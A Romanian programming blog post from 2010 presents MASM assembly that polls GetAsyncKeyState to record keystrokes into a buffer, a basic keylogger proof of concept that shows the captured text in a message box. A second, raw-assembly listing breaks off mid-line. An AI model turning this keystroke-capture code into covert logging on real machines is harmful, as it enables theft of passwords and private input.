« 

azrael-sub7.ro

 »
» Culoarea Temei : Negru Alb
» Limba : ∙ RODEEN
» Marime Text :   -   +
» Cauta :
Data : 16.02.10

Am rescris metoda cu GetAsyncKeyState in masm , ma rog e mai necizelata dar merge :
Cod :

  1.  
  2.  
  3. .Const
  4.  
  5. .Data?
  6.  
  7. sh DD ?
  8. cp DD ?
  9. Number DD ?
  10.  
  11. index DD ?
  12. tindex DD ?
  13. TempC DB ?
  14.  
  15. .Data
  16.  
  17. WprType DB "%lc", 0
  18. Keys DB 512 Dup(0)
  19.  
  20. .Code
  21. start:
  22. Mov Keys, 0
  23. rr:
  24. Invoke Sleep, 60
  25. Mov index, 0
  26. Mov index, 8
  27. ForLoop:
  28. ;test
  29. Invoke GetAsyncKeyState, 14H
  30. .If Eax
  31. Invoke MessageBox, 0, Addr Keys, 0, 0
  32. Invoke ExitProcess, NULL
  33. .EndIf
  34. ;test
  35. Invoke GetAsyncKeyState, index
  36. .If Eax == -32767 ;
  37. Invoke GetAsyncKeyState, 20H
  38. .If Eax
  39. Invoke wsprintf, Addr TempC, Addr WprType, 20H ; Space ajunge …
  40. Invoke lstrcat, Addr Keys, Addr TempC
  41. .ElseIf (index >= 60) &amp;&amp; (index < = 90)
  42. Mov sh, 0
  43. Mov cp, 0
  44. Invoke GetAsyncKeyState, 14H ;
  45. Mov sh, Eax
  46. Invoke GetAsyncKeyState, 10H ;
  47. Mov cp, Eax
  48. .If cp != 0 || sh != 0 ;
  49. Xor Eax, Eax
  50. Mov tindex, Eax
  51. Mov Eax, index
  52. Mov tindex, Eax
  53. Invoke wsprintf, Addr TempC, Addr WprType, tindex
  54. Invoke lstrcat, Addr Keys, Addr TempC
  55. .Else
  56. Xor Eax, Eax
  57. Mov tindex, Eax
  58. Mov Eax, index
  59. Mov tindex, Eax
  60. Add tindex, 32
  61. Invoke wsprintf, Addr TempC, Addr WprType, tindex
  62. Invoke lstrcat, Addr Keys, Addr TempC
  63. .EndIf
  64.  
  65. .If index == 190
  66. Jmp rr
  67. .Else
  68. Inc index
  69. Jmp ForLoop
  70. .EndIf
  71.  
  72. .EndIf
  73. .EndIf
  74.  
  75. .If index == 190
  76. Jmp rr
  77. .Else
  78. Inc index
  79. Jmp ForLoop
  80. .EndIf
  81.  
  82. Invoke ExitProcess, NULL
  83. End start
  84.  

In “raw asm” ar arata cam asa :

  1. ;< = Procedure Start
  2.  
  3.         mov byte ptr [keys],0
  4.  
  5. @Project1_00401007:
  6.  
  7.         push 03ch
  8.         call _sleep@

» Categorie : Programare» Autor : azrael-sub7
Site-ul foloseste platforma Wordpress | Template Made By Azrael-sub7 using fingers + keyboard + black screen |
Sitemap.xml - Sitemap.xml.gz | Debug : 6 queries. 0.646 seconds.
Pentru o navigare cat mai apreciabila descarca si foloseste browserul Firefox | Site Optimizat pentru browserul Firefox | Rezolutie optima 1152 X 864 sau peste aceasta valoare.
Bloguri | www.blog360.ro | www.bloglist.ro | Dark Sites
toateBlogurile.ro